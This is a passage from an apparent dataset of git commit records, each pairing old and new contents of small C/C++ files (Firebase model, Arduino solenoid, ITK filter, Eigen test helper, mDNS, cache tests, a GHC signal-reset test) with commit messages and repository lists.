ropython,deshipu\/micropython,paul-xxx\/micropython,mhoffma\/micropython,matthewelse\/micropython,vriera\/micropython,vitiral\/micropython,ryannathans\/micropython,xhat\/micropython,alex-march\/micropython,lbattraw\/micropython,jmarcelino\/pycom-micropython,tuc-osg\/micropython,drrk\/micropython,firstval\/micropython,blazewicz\/micropython,tdautc19841202\/micropython,tralamazza\/micropython,warner83\/micropython,ernesto-g\/micropython,misterdanb\/micropython,aitjcize\/micropython,deshipu\/micropython,dhylands\/micropython,xuxiaoxin\/micropython,matthewelse\/micropython,PappaPeppar\/micropython,MrSurly\/micropython,xyb\/micropython,AriZuu\/micropython,xyb\/micropython,alex-robbins\/micropython,puuu\/micropython,ernesto-g\/micropython,aethaniel\/micropython,ganshun666\/micropython,feilongfl\/micropython,dhylands\/micropython,tdautc19841202\/micropython,MrSurly\/micropython,suda\/micropython,emfcamp\/micropython,turbinenreiter\/micropython,PappaPeppar\/micropython,noahchense\/micropython,MrSurly\/micropython,dinau\/micropython,warner83\/micropython,noahchense\/micropython,henriknelson\/micropython,tobbad\/micropython,noahchense\/micropython,adamkh\/micropython,dxxb\/micropython,trezor\/micropython,orionrobots\/micropython,ceramos\/micropython,misterdanb\/micropython,adafruit\/micropython,hosaka\/micropython,infinnovation\/micropython,martinribelotta\/micropython,turbinenreiter\/micropython,noahchense\/micropython,SungEun-Steve-Kim\/test-mp,cwyark\/micropython,selste\/micropython,dxxb\/micropython,jlillest\/micropython,tobbad\/micropython,omtinez\/micropython,ryannathans\/micropython,dhylands\/micropython,ericsnowcurrently\/micropython,emfcamp\/micropython,galenhz\/micropython,swegener\/micropython,feilongfl\/micropython,adamkh\/micropython,emfcamp\/micropython,danicampora\/micropython,pramasoul\/micropython,vriera\/micropython,praemdonck\/micropython,dmazzella\/micropython,xyb\/micropython,noahwilliamsson\/micropython,kostyll\/micropython,suda\/micropython,hiway\/micropython,drrk\/micropython,danicampora\/micropython,alex-march\/micropython,heisewangluo\/micropython,tuc-osg\/micropython,adafruit\/micropython,pozetroninc\/micropython,ruffy91\/micropython,alex-robbins\/micropython,ceramos\/micropython,KISSMonX\/micropython,chrisdearman\/micropython,MrSurly\/micropython-esp32,HenrikSolver\/micropython,vriera\/micropython,cloudformdesign\/micropython,aethaniel\/micropython,misterdanb\/micropython,TDAbboud\/micropython,tralamazza\/micropython,turbinenreiter\/micropython,orionrobots\/micropython,firstval\/micropython,pfalcon\/micropython,praemdonck\/micropython,misterdanb\/micropython,dinau\/micropython,SungEun-Steve-Kim\/test-mp,supergis\/micropython,Timmenem\/micropython,chrisdearman\/micropython,deshipu\/micropython,misterdanb\/micropython,blazewicz\/micropython,skybird6672\/micropython,mhoffma\/micropython,warner83\/micropython,adafruit\/micropython,micropython\/micropython-esp32,adafruit\/circuitpython,suda\/micropython,turbinenreiter\/micropython,SHA2017-badge\/micropython-esp32,neilh10\/micropython,kerneltask\/micropython,methoxid\/micropystat,lbattraw\/micropython,ruffy91\/micropython,redbear\/micropython,KISSMonX\/micropython,bvernoux\/micropython,jmarcelino\/pycom-micropython,dhylands\/micropython,kostyll\/micropython,mianos\/micropython,neilh10\/micropython,toolmacher\/micropython,lowRISC\/micropython,alex-robbins\/micropython,HenrikSolver\/micropython,heisewangluo\/micropython,supergis\/micropython,selste\/micropython,warner83\/micropython,praemdonck\/micropython,utopiaprince\/micropython,EcmaXp\/micropython,micropython\/micropython-esp32,noahwilliamsson\/micropython,mhoffma\/micropython,blmorris\/micropython,pramasoul\/micropython,kerneltask\/micropython,xuxiaoxin\/micropython,henriknelson\/micropython,slzatz\/micropython,rubencabrera\/micropython,cwyark\/micropython,chrisdearman\/micropython,galenhz\/micropython,jmarcelino\/pycom-micropython,orionrobots\/micropython,oopy\/micropython,ChuckM\/micropython,suda\/micropython,Timmenem\/micropython,Vogtinator\/micropython,puuu\/micropython,HenrikSolver\/micropython,Peetz0r\/micropython-esp32,toolmacher\/micropython,oopy\/micropython,neilh10\/micropython,pozetroninc\/micropython,adafruit\/circuitpython,jimkmc\/micropython,jlillest\/micropython,paul-xxx\/micropython,swegener\/micropython,lbattraw\/micropython,cloudformdesign\/micropython,hiway\/micropython,emfcamp\/micropython,EcmaXp\/micropython,cnoviello\/micropython,trezor\/micropython,lbattraw\/micropython,Peetz0r\/micropython-esp32,xuxiaoxin\/micropython,pramasoul\/micropython,drrk\/micropython,puuu\/micropython,dinau\/micropython,MrSurly\/micropython,Peetz0r\/micropython-esp32,cloudformdesign\/micropython,vitiral\/micropython,blmorris\/micropython,jimkmc\/micropython,hosaka\/micropython,omtinez\/micropython,matthewelse\/micropython,cnoviello\/micropython,hiway\/micropython,aitjcize\/micropython,methoxid\/micropystat,tdautc19841202\/micropython,ahotam\/micropython,cnoviello\/micropython,SHA2017-badge\/micropython-esp32,SHA2017-badge\/micropython-esp32,mhoffma\/micropython,martinribelotta\/micropython,matthewelse\/micropython,noahwilliamsson\/micropython,oopy\/micropython,ChuckM\/micropython,puuu\/micropython,KISSMonX\/micropython,tuc-osg\/micropython,mgyenik\/micropython,xyb\/micropython,adafruit\/circuitpython,praemdonck\/micropython,ericsnowcurrently\/micropython,redbear\/micropython,HenrikSolver\/micropython,noahchense\/micropython,utopiaprince\/micropython,aethaniel\/micropython,orionrobots\/micropython,dxxb\/micropython,mgyenik\/micropython,utopiaprince\/micropython,slzatz\/micropython,hiway\/micropython,pramasoul\/micropython,toolmacher\/micropython,puuu\/micropython,vitiral\/micropython,blazewicz\/micropython,danicampora\/micropython,supergis\/micropython,blmorris\/micropython,ganshun666\/micropython,TDAbboud\/micropython,Vogtinator\/micropython,tobbad\/micropython,Peetz0r\/micropython-esp32,stonegithubs\/micropython,xhat\/micropython,torwag\/micropython,TDAbboud\/micropython,toolmacher\/micropython,jimkmc\/micropython,pfalcon\/micropython,pozetroninc\/micropython,adafruit\/circuitpython,TDAbboud\/micropython,ericsnowcurrently\/micropython,MrSurly\/micropython-esp32,kostyll\/micropython,paul-xxx\/micropython,infinnovation\/micropython,skybird6672\/micropython,vriera\/micropython,alex-march\/micropython,stonegithubs\/micropython,EcmaXp\/micropython,xhat\/micropython,selste\/micropython,tralamazza\/micropython,slzatz\/micropython,kerneltask\/micropython,skybird6672\/micropython,stonegithubs\/micropython,pozetroninc\/micropython"}
{"commit":"1a3c1576138400b28ca7093a842dc7d044d5892b","old_file":"MKFirebaseObjectMapping\/Classes\/MKFirebaseModel.h","new_file":"MKFirebaseObjectMapping\/Classes\/MKFirebaseModel.h","old_contents":"\/\/\n\/\/ Created by Michael Kuck on 7\/7\/16.\n\/\/ Copyright (c) 2016 Michael Kuck. All rights reserved.\n\/\/\n\n#import <Foundation\/Foundation.h>\n\nNS_ASSUME_NONNULL_BEGIN\n\n@class FIRDatabaseReference;\n@class FIRDataSnapshot;\n\n\/\/============================================================\n\/\/== Public Interface\n\/\/============================================================\n@interface MKFirebaseModel : NSObject\n\n@property (nonatomic, readonly) FIRDatabaseReference *firebaseRef;\n@property (nonatomic, readonly) NSString *identifier;\n\n- (instancetype)init NS_UNAVAILABLE;\n- (instancetype)initWithFirebaseRef:(FIRDatabaseReference *)firebaseRef snapshotValue:(NSDictionary *)snapshotValue NS_DESIGNATED_INITIALIZER;\n- (instancetype)initWithSnapshot:(FIRDataSnapshot *)snapshot;\n\n@end\n\nNS_ASSUME_NONNULL_END\n","new_contents":"\/\/\n\/\/ Created by Michael Kuck on 7\/7\/16.\n\/\/ Copyright (c) 2016 Michael Kuck. All rights reserved.\n\/\/\n\n#import <Foundation\/Foundation.h>\n\nNS_ASSUME_NONNULL_BEGIN\n\n@class FIRDatabaseReference;\n@class FIRDataSnapshot;\n\n\/\/============================================================\n\/\/== Public Interface\n\/\/============================================================\n@interface MKFirebaseModel : NSObject\n\n@property (nonatomic, readonly) FIRDatabaseReference *firebaseRef;\n@property (nonatomic, readonly) NSString *identifier;\n\n- (instancetype)init NS_UNAVAILABLE;\n- (instancetype)initWithFirebaseRef:(FIRDatabaseReference *)firebaseRef snapshotValue:(NSDictionary *)snapshotValue NS_DESIGNATED_INITIALIZER;\n- (instancetype)initWithSnapshot:(FIRDataSnapshot *)snapshot;\n\n- (BOOL)isEqualToFirebaseModel:(MKFirebaseModel *)firebaseModel;\n\n@end\n\nNS_ASSUME_NONNULL_END\n","subject":"Add `isEqualToFirebaseModel:` to public header","message":"Add `isEqualToFirebaseModel:` to public header\n","lang":"C","license":"mit","repos":"mikumi\/MKFirebaseObjectMapping,mikumi\/MKFirebaseObjectMapping,mikumi\/MKFirebaseObjectMapping"}
{"commit":"8e1f636ced4380a559aaf8eb14cae88442fc15c1","old_file":"lib\/Solenoid\/Solenoid.h","new_file":"lib\/Solenoid\/Solenoid.h","old_contents":"\/****************************************************************************\n * Copyright 2016 BlueMasters\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *     http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *****************************************************************************\/\n\n#ifndef SOLENOID__H\n#define SOLENOID__H\n\n#include <Arduino.h>\n#include \"StateMachine.h\"\n#include \"LED.h\"\n#include \"RFIDSensor.h\"\n#include \"WolvesTypes.h\"\n\nenum solenoidState {\n    SOLENOID_IDLE,\n    SOLENOID_FROZEN,\n    SOLENOID_FIRED,\n    SOLENOID_WAITING\n};\n\nclass Solenoid : public StateMachine {\npublic:\n    Solenoid(int impulsePin, RFIDSensor sensor, LED led) :\n        _impulsePin(impulsePin), _sensor(sensor), _led(led) {};\n    void begin();\n    void on();\n    void off();\n    void tick();\n\nprivate:\n    int _impulsePin;\n    RFIDSensor _sensor;\n    LED _led;\n    solenoidState _state;\n    long _timestamp;\n    void fire(long t);\n    void release(long t);\n};\n\n#endif\n","new_contents":"\/****************************************************************************\n * Copyright 2016 BlueMasters\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *     http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *****************************************************************************\/\n\n#ifndef SOLENOID__H\n#define SOLENOID__H\n\n#include <Arduino.h>\n#include \"StateMachine.h\"\n#include \"LED.h\"\n#include \"RFIDSensor.h\"\n#include \"WolvesTypes.h\"\n\nclass Solenoid : public StateMachine {\npublic:\n    Solenoid(int impulsePin, RFIDSensor sensor, LED led) :\n        _impulsePin(impulsePin), _sensor(sensor), _led(led) {};\n    void begin();\n    void on();\n    void off();\n    void tick();\n\nprivate:\n    enum solenoidState {\n        SOLENOID_IDLE,\n        SOLENOID_FROZEN,\n        SOLENOID_FIRED,\n        SOLENOID_WAITING\n    };\n    int _impulsePin;\n    RFIDSensor _sensor;\n    LED _led;\n    solenoidState _state;\n    long _timestamp;\n    void fire(long t);\n    void release(long t);\n};\n\n#endif\n","subject":"Put states inside the class","message":"Put states inside the class\n","lang":"C","license":"apache-2.0","repos":"BlueMasters\/arduino-wolves,BlueMasters\/arduino-wolves,BlueMasters\/arduino-wolves"}
{"commit":"34ac8717bf58b13a6c2b8743e57506255434d731","old_file":"src\/Developer\/ImageFilterMultipleOutputs.h","new_file":"src\/Developer\/ImageFilterMultipleOutputs.h","old_contents":"#ifndef __itkImageFilterMultipleOutputs_h\n#define __itkImageFilterMultipleOutputs_h\n\n#include \"itkImageToImageFilter.h\"\n\nnamespace itk\n{\ntemplate <class TImage>\nclass ImageFilterMultipleOutputs : public ImageToImageFilter<TImage, TImage>\n{\npublic:\n  \/** Standard class type alias. *\/\n  using Self = ImageFilterMultipleOutputs;\n  using Superclass = ImageToImageFilter<TImage, TImage>;\n  using Pointer = SmartPointer<Self>;\n\n  \/** Method for creation through the object factory. *\/\n  itkNewMacro(Self);\n\n  \/** Run-time type information (and related methods). *\/\n  itkTypeMacro(ImageFilterMultipleOutputs, ImageToImageFilter);\n\n  TImage *\n  GetOutput1();\n  TImage *\n  GetOutput2();\n\nprotected:\n  ImageFilterMultipleOutputs();\n  ~ImageFilterMultipleOutputs() override = default;\n\n  \/** Does the real work. *\/\n  void\n  GenerateData() override;\n\n  \/**  Create the Output *\/\n  DataObject::Pointer\n  MakeOutput(ProcessObject::DataObjectPointerArraySizeType idx);\n\nprivate:\n  ImageFilterMultipleOutputs(const Self &) = delete; \/\/ purposely not implemented\n  void\n  operator=(const Self &) = delete; \/\/ purposely not implemented\n};\n} \/\/ namespace itk\n\n\n#ifndef ITK_MANUAL_INSTANTIATION\n#  include \"ImageFilterMultipleOutputs.hxx\"\n#endif\n\n\n#endif \/\/ __itkImageFilterMultipleOutputs_h\n","new_contents":"#ifndef __itkImageFilterMultipleOutputs_h\n#define __itkImageFilterMultipleOutputs_h\n\n#include \"itkImageToImageFilter.h\"\n\nnamespace itk\n{\ntemplate <class TImage>\nclass ImageFilterMultipleOutputs : public ImageToImageFilter<TImage, TImage>\n{\npublic:\n  \/** Standard class type alias. *\/\n  using Self = ImageFilterMultipleOutputs;\n  using Superclass = ImageToImageFilter<TImage, TImage>;\n  using Pointer = SmartPointer<Self>;\n\n  \/** Method for creation through the object factory. *\/\n  itkNewMacro(Self);\n\n  \/** Run-time type information (and related methods). *\/\n  itkTypeMacro(ImageFilterMultipleOutputs, ImageToImageFilter);\n\n  TImage *\n  GetOutput1();\n  TImage *\n  GetOutput2();\n\nprotected:\n  ImageFilterMultipleOutputs();\n  ~ImageFilterMultipleOutputs() override = default;\n\n  \/** Does the real work. *\/\n  void\n  GenerateData() override;\n\n  \/**  Create the Output *\/\n  DataObject::Pointer\n  MakeOutput(ProcessObject::DataObjectPointerArraySizeType idx) override;\n\nprivate:\n  ImageFilterMultipleOutputs(const Self &) = delete; \/\/ purposely not implemented\n  void\n  operator=(const Self &) = delete; \/\/ purposely not implemented\n};\n} \/\/ namespace itk\n\n\n#ifndef ITK_MANUAL_INSTANTIATION\n#  include \"ImageFilterMultipleOutputs.hxx\"\n#endif\n\n\n#endif \/\/ __itkImageFilterMultipleOutputs_h\n","subject":"Remove redundant void argument lists","message":"STYLE: Remove redundant void argument lists\n\nFind and remove redundant void argument lists.\n","lang":"C","license":"apache-2.0","repos":"InsightSoftwareConsortium\/ITKExamples,InsightSoftwareConsortium\/ITKExamples,InsightSoftwareConsortium\/ITKExamples,InsightSoftwareConsortium\/ITKExamples,InsightSoftwareConsortium\/ITKExamples"}
{"commit":"fdeab35e4997c16515efea32d97845786d373990","old_file":"tests\/test_utilities.h","new_file":"tests\/test_utilities.h","old_contents":"#pragma once\n#include <string>\n#include <sstream>\n#include <Eigen\/Dense>\n\nstd::string output_matrices(Eigen::MatrixXd expected, Eigen::MatrixXd actual) {\n    std::stringstream ss;\n    ss << \"expected:\\n\" << expected << \"\\nactual:\\n\" << actual << std::endl;\n    return ss.str();\n}\n","new_contents":"#pragma once\n#include <string>\n#include <sstream>\n#include <Eigen\/Dense>\n\nstd::string output_matrices(Eigen::MatrixXd expected, Eigen::MatrixXd actual) {\n    std::stringstream ss;\n    ss << \"expected:\\n\" << expected << \"\\nactual:\\n\" << actual << std::endl;\n    return ss.str();\n}\n\n\/*\n * allclose() function to match numpy.allclose\n * https:\/\/stackoverflow.com\/questions\/15051367\/how-to-compare-vectors-approximately-in-eige:\/\/stackoverflow.com\/questions\/15051367\/how-to-compare-vectors-approximately-in-eigen\n *\/\nnamespace test {\n\ntemplate<typename DerivedA, typename DerivedB>\nbool allclose(const Eigen::DenseBase<DerivedA>& a, const Eigen::DenseBase<DerivedB>& b,\n              const typename DerivedA::RealScalar& rtol\n                = Eigen::NumTraits<typename DerivedA::RealScalar>::dummy_precision(),\n              const typename DerivedA::RealScalar& atol\n                = Eigen::NumTraits<typename DerivedA::RealScalar>::epsilon()) {\n  return ((a.derived() - b.derived()).array().abs() <= (atol + rtol * b.derived().array().abs())).all();\n}\n\n} \/\/ namespace test\n","subject":"Add allclose function for testing","message":"Add allclose function for testing\n\nCompare relative and absolute tolerence of matrix elements. Eigen\nisApprox() functions compare matrix norms.\n","lang":"C","license":"bsd-2-clause","repos":"oliverlee\/bicycle,oliverlee\/bicycle"}
{"commit":"01167b09c4f76073a9846cf5bfe745350e8fca5a","old_file":"example\/ex-defer01.c","new_file":"example\/ex-defer01.c","old_contents":"","new_contents":"#include \"m-core.h\"\n\n\/\/ Stubs defined for the example. Real code will use soundio library.\nstruct SoundIo { int x; };\nstruct SoundIoDevice { int x; };\nstruct SoundIoOutStream { int x; };\n\nstatic struct SoundIo *soundio_create(void) { return (struct SoundIo *) malloc(sizeof(struct SoundIo)); }\nstatic void soundio_destroy(struct SoundIo *s) { free(s); }\n\nstatic struct SoundIoDevice *soundio_get_device(struct SoundIo *io, int def) { (void) io; (void) def; return (struct SoundIoDevice *) malloc(sizeof(struct SoundIoDevice)); }\nstatic void soundio_device_unref(struct SoundIoDevice *s) { free(s); }\n\nstatic struct SoundIoOutStream *soundio_outstream_create(struct SoundIoDevice *device) { (void) device ; return (struct SoundIoOutStream *) malloc(sizeof(struct SoundIoOutStream)); }\nstatic void soundio_outstream_destroy(struct SoundIoOutStream *s) { free(s); }\n\nstatic bool soundio_wait_events(struct SoundIo *s) { (void) s; return false; }\n\/\/ End of stubs\n\nint main(void)\n{\n  int err = 1;\n\n  \/* Example of using M_LET_IF macro to simplify writing error handling code.\n     The following code creates some object, test if the object creation succeeds, register the destructor, and print an error if something went wrong\n  *\/\n  M_LET_IF( struct SoundIo *soundio = soundio_create(), soundio != 0 , soundio_destroy(soundio) , fprintf(stderr, \"out of memory for soundio\\n\") )\n    M_LET_IF(struct SoundIoDevice *device = soundio_get_device(soundio, -1), device != 0, soundio_device_unref(device),  fprintf(stderr, \"out of memory for device\\n\"))\n    M_LET_IF(struct SoundIoOutStream *outstream = soundio_outstream_create(device), outstream != 0, soundio_outstream_destroy(outstream), fprintf(stderr, \"out of memory for stream\\n\")) {\n    err = 0;\n    bool cont = true;\n    while (cont)\n      cont = soundio_wait_events(soundio);\n  }\n  return err;\n}\n","subject":"Add an example of M_LET_IF","message":"Add an example of M_LET_IF\n","lang":"C","license":"bsd-2-clause","repos":"P-p-H-d\/mlib,P-p-H-d\/mlib"}
{"commit":"4282ccf09f23c582b16cdc4570de238ac959a2dd","old_file":"firmware\/MDNS.h","new_file":"firmware\/MDNS.h","old_contents":"#include \"application.h\"\n\n#ifndef _INCL_MDNS\n#define _INCL_MDNS\n\n#include \"Buffer.h\"\n#include \"Label.h\"\n#include \"Record.h\"\n#include <map>\n#include <vector>\n\n#define MDNS_PORT 5353\n\n#define BUFFER_SIZE 512\n#define HOSTNAME \"\"\n\nclass MDNS {\npublic:\n\n  bool setHostname(String hostname);\n\n  bool addService(String protocol, String service, uint16_t port, String instance, std::vector<String> subServices = std::vector<String>());\n\n  void addTXTEntry(String key, String value = NULL);\n\n  bool begin();\n\n  bool processQueries();\n\nprivate:\n\n  struct QueryHeader {\n    uint16_t id;\n    uint16_t flags;\n    uint16_t qdcount;\n    uint16_t ancount;\n    uint16_t nscount;\n    uint16_t arcount;\n  };\n\n  UDP * udp = new UDP();\n  Buffer * buffer = new Buffer(BUFFER_SIZE);\n\n  Label * ROOT = new Label(\"\");\n  Label * LOCAL = new Label(\"local\", ROOT);\n  Label::Matcher * matcher = new Label::Matcher();\n\n  ARecord * aRecord;\n  TXTRecord * txtRecord;\n\n  std::map<String, Label *> labels;\n  std::vector<Record *> records;\n  String status = \"Ok\";\n\n  QueryHeader readHeader(Buffer * buffer);\n  void getResponses();\n  void writeResponses();\n  bool isAlphaDigitHyphen(String string);\n  bool isNetUnicode(String string);\n};\n\n#endif\n","new_contents":"#include \"application.h\"\n\n#ifndef _INCL_MDNS\n#define _INCL_MDNS\n\n#include \"Buffer.h\"\n#include \"Label.h\"\n#include \"Record.h\"\n#include <map>\n#include <vector>\n\n#define MDNS_PORT 5353\n\n#define BUFFER_SIZE 512\n#define HOSTNAME \"\"\n\nclass MDNS {\npublic:\n\n  bool setHostname(String hostname);\n\n  bool addService(String protocol, String service, uint16_t port, String instance, std::vector<String> subServices = std::vector<String>());\n\n  void addTXTEntry(String key, String value = \"\");\n\n  bool begin();\n\n  bool processQueries();\n\nprivate:\n\n  struct QueryHeader {\n    uint16_t id;\n    uint16_t flags;\n    uint16_t qdcount;\n    uint16_t ancount;\n    uint16_t nscount;\n    uint16_t arcount;\n  };\n\n  UDP * udp = new UDP();\n  Buffer * buffer = new Buffer(BUFFER_SIZE);\n\n  Label * ROOT = new Label(\"\");\n  Label * LOCAL = new Label(\"local\", ROOT);\n  Label::Matcher * matcher = new Label::Matcher();\n\n  ARecord * aRecord;\n  TXTRecord * txtRecord;\n\n  std::map<String, Label *> labels;\n  std::vector<Record *> records;\n  String status = \"Ok\";\n\n  QueryHeader readHeader(Buffer * buffer);\n  void getResponses();\n  void writeResponses();\n  bool isAlphaDigitHyphen(String string);\n  bool isNetUnicode(String string);\n};\n\n#endif\n","subject":"Fix for particle firmware v0.6.2","message":"Fix for particle firmware v0.6.2","lang":"C","license":"mit","repos":"mrhornsby\/spark-core-mdns,mrhornsby\/spark-core-mdns"}
{"commit":"3cfe2d2e5b57ff33d4febcb0668d1d71fce2dd21","old_file":"acacia_tests.c","new_file":"acacia_tests.c","old_contents":"#include <string.h>\n#include \"lib\/minunit.h\"\n#include \"acacia.h\"\n\n\/\/#define TEST_KEY \"abcd1111\"\n#define TEST_KEY \"abcdefghijklmnopqrstuvwxyz\"\n#define TEST_VALUE \"foo_bar_baz_111\"\n\n\nMU_TEST(test_check) {\n\tstruct Node *cache = cache_init();\n\tcache_set(TEST_KEY, TEST_VALUE, cache);\n\tmu_check(strcmp(cache_get(TEST_KEY, cache), TEST_VALUE) == 0);\n\tcache_close(cache);\n}\n\nMU_TEST_SUITE(test_suite) {\n\tMU_RUN_TEST(test_check);\n}\n\nint main(int argc, const char *argv[])\n{\n\tMU_RUN_SUITE(test_suite);\n\tMU_REPORT();\n\treturn 0;\n}\n\n","new_contents":"#include <string.h>\n#include \"lib\/minunit.h\"\n#include \"acacia.h\"\n\n#define TEST_KEY \"abcdefghijklmnopqrstuvwxyz\"\n#define TEST_VALUE \"foo_bar_baz_111\"\n\n\nMU_TEST(test_store_fetch_simple) {\n\tstruct Node *cache = cache_init();\n\tcache_set(TEST_KEY, TEST_VALUE, cache);\n\tmu_check(strcmp(cache_get(TEST_KEY, cache), TEST_VALUE) == 0);\n\tcache_close(cache);\n}\n\nMU_TEST(test_store_fetch_empty_string) {\n\tstruct Node *cache = cache_init();\n\tcache_set(\"foo\", \"\", cache);\n\tmu_check(strcmp(cache_get(\"foo\", cache), \"\") == 0);\n\tcache_close(cache);\n}\n\nMU_TEST_SUITE(test_suite) {\n\tMU_RUN_TEST(test_store_fetch_simple);\n\tMU_RUN_TEST(test_store_fetch_empty_string);\n}\n\nint main(int argc, const char *argv[])\n{\n\tMU_RUN_SUITE(test_suite);\n\tMU_REPORT();\n\treturn 0;\n}\n\n","subject":"Add a test for caching an empty string","message":"Add a test for caching an empty string\n","lang":"C","license":"mit","repos":"zedr\/acacia"}
{"commit":"3a04ce29a2d92f58ab07f83f4970c544e4afdf00","old_file":"testsuite\/tests\/rts\/exec_signals_prepare.c","new_file":"testsuite\/tests\/rts\/exec_signals_prepare.c","old_contents":"#include <signal.h>\n#include <stdio.h>\n#include <errno.h>\n#include <string.h>\n\n\/\/ Invokes a process, making sure that the state of the signal\n\/\/ handlers has all been set back to the unix default.\nint main(int argc, char **argv)\n{\n    int i;\n    sigset_t blockedsigs;\n    struct sigaction action;\n\n    \/\/ unblock all signals\n    sigemptyset(&blockedsigs);\n    sigprocmask(SIG_BLOCK, NULL, NULL);\n\n    \/\/ reset all signals to SIG_DFL\n    memset(&action, 0, sizeof(action));\n    action.sa_handler = SIG_DFL;\n    action.sa_flags = 0;\n    sigemptyset(&action.sa_mask);\n    for(i = 0; i < NSIG; ++i)\n        sigaction(i, &action, NULL);\n\n    execv(argv[1], argv+1);\n    fprintf(stderr, \"failed to execv %s\\n\", argv[1]);\n    return 0;\n}\n","new_contents":"#include <signal.h>\n#include <stdio.h>\n#include <errno.h>\n#include <string.h>\n#include <unistd.h>\n\n\/\/ Invokes a process, making sure that the state of the signal\n\/\/ handlers has all been set back to the unix default.\nint main(int argc, char **argv)\n{\n    int i;\n    sigset_t blockedsigs;\n    struct sigaction action;\n\n    \/\/ unblock all signals\n    sigemptyset(&blockedsigs);\n    sigprocmask(SIG_BLOCK, NULL, NULL);\n\n    \/\/ reset all signals to SIG_DFL\n    memset(&action, 0, sizeof(action));\n    action.sa_handler = SIG_DFL;\n    action.sa_flags = 0;\n    sigemptyset(&action.sa_mask);\n    for(i = 0; i < NSIG; ++i)\n        sigaction(i, &action, NULL);\n\n    execv(argv[1], argv+1);\n    fprintf(stderr, \"failed to execv %s\\n\", argv[1]);\n    return 0;\n}\n","subject":"Fix below warning by including \"unistd.h\" also","message":"Fix below warning by including \"unistd.h\" also\n\nexec_signals_prepare.c:26:5: warning: implicit declaration of function 'execv' is invalid in C99\n      [-Wimplicit-function-declaration]\n    execv(argv[1], argv+1);\n    ^\n1 warning generated.\n","lang":"C","license":"bsd-3-clause","repos":"vTurbine\/ghc,sdiehl\/ghc,vTurbine\/ghc,GaloisInc\/halvm-ghc,nathyong\/microghc-ghc,ryantm\/ghc,urbanslug\/ghc,jstolarek\/ghc,sdiehl\/ghc,TomMD\/ghc,vTurbine\/ghc,TomMD\/ghc,snoyberg\/ghc,sdiehl\/ghc,spacekitteh\/smcghc,jstolarek\/ghc,jstolarek\/ghc,ezyang\/ghc,snoyberg\/ghc,mcschroeder\/ghc,lukexi\/ghc,acowley\/ghc,elieux\/ghc,christiaanb\/ghc,vTurbine\/ghc,mcschroeder\/ghc,GaloisInc\/halvm-ghc,GaloisInc\/halvm-ghc,siddhanathan\/ghc,vikraman\/ghc,urbanslug\/ghc,GaloisInc\/halvm-ghc,fmthoma\/ghc,urbanslug\/ghc,ml9951\/ghc,gcampax\/ghc,tjakway\/ghcjvm,oldmanmike\/ghc,gcampax\/ghc,holzensp\/ghc,da-x\/ghc,wxwxwwxxx\/ghc,bitemyapp\/ghc,anton-dessiatov\/ghc,green-haskell\/ghc,gridaphobe\/ghc,bitemyapp\/ghc,olsner\/ghc,gcampax\/ghc,gridaphobe\/ghc,AlexanderPankiv\/ghc,sgillespie\/ghc,mettekou\/ghc,lukexi\/ghc,shlevy\/ghc,mettekou\/ghc,holzensp\/ghc,ezyang\/ghc,olsner\/ghc,ml9951\/ghc,nushio3\/ghc,shlevy\/ghc,TomMD\/ghc,fmthoma\/ghc,vTurbine\/ghc,vikraman\/ghc,siddhanathan\/ghc,lukexi\/ghc,AlexanderPankiv\/ghc,mcschroeder\/ghc,sgillespie\/ghc,bitemyapp\/ghc,fmthoma\/ghc,forked-upstream-packages-for-ghcjs\/ghc,forked-upstream-packages-for-ghcjs\/ghc,tjakway\/ghcjvm,shlevy\/ghc,urbanslug\/ghc,mettekou\/ghc,christiaanb\/ghc,wxwxwwxxx\/ghc,holzensp\/ghc,nkaretnikov\/ghc,ghc-android\/ghc,nushio3\/ghc,nkaretnikov\/ghc,gridaphobe\/ghc,AlexanderPankiv\/ghc,ghc-android\/ghc,bitemyapp\/ghc,nathyong\/microghc-ghc,gcampax\/ghc,da-x\/ghc,wxwxwwxxx\/ghc,oldmanmike\/ghc,wxwxwwxxx\/ghc,sgillespie\/ghc,ml9951\/ghc,mfine\/ghc,vikraman\/ghc,nathyong\/microghc-ghc,oldmanmike\/ghc,olsner\/ghc,acowley\/ghc,tjakway\/ghcjvm,elieux\/ghc,forked-upstream-packages-for-ghcjs\/ghc,AlexanderPankiv\/ghc,spacekitteh\/smcghc,wxwxwwxxx\/ghc,TomMD\/ghc,siddhanathan\/ghc,gcampax\/ghc,lukexi\/ghc,ryantm\/ghc,ryantm\/ghc,nushio3\/ghc,green-haskell\/ghc,snoyberg\/ghc,tibbe\/ghc,gridaphobe\/ghc,acowley\/ghc,sdiehl\/ghc,nathyong\/microghc-ghc,ryantm\/ghc,sdiehl\/ghc,oldmanmike\/ghc,tjakway\/ghcjvm,nathyong\/microghc-ghc,acowley\/ghc,mfine\/ghc,ghc-android\/ghc,forked-upstream-packages-for-ghcjs\/ghc,elieux\/ghc,fmthoma\/ghc,mcschroeder\/ghc,ezyang\/ghc,gridaphobe\/ghc,ghc-android\/ghc,urbanslug\/ghc,ezyang\/ghc,spacekitteh\/smcghc,green-haskell\/ghc,spacekitteh\/smcghc,mcschroeder\/ghc,tjakway\/ghcjvm,christiaanb\/ghc,nkaretnikov\/ghc,ml9951\/ghc,nushio3\/ghc,frantisekfarka\/ghc-dsi,green-haskell\/ghc,ezyang\/ghc,olsner\/ghc,shlevy\/ghc,oldmanmike\/ghc,mfine\/ghc,mettekou\/ghc,frantisekfarka\/ghc-dsi,bitemyapp\/ghc,tibbe\/ghc,christiaanb\/ghc,siddhanathan\/ghc,ghc-android\/ghc,sgillespie\/ghc,nushio3\/ghc,tibbe\/ghc,wxwxwwxxx\/ghc,holzensp\/ghc,gridaphobe\/ghc,vikraman\/ghc,sgillespie\/ghc,tibbe\/ghc,AlexanderPankiv\/ghc,mfine\/ghc,oldmanmike\/ghc,ml9951\/ghc,vikraman\/ghc,anton-dessiatov\/ghc,christiaanb\/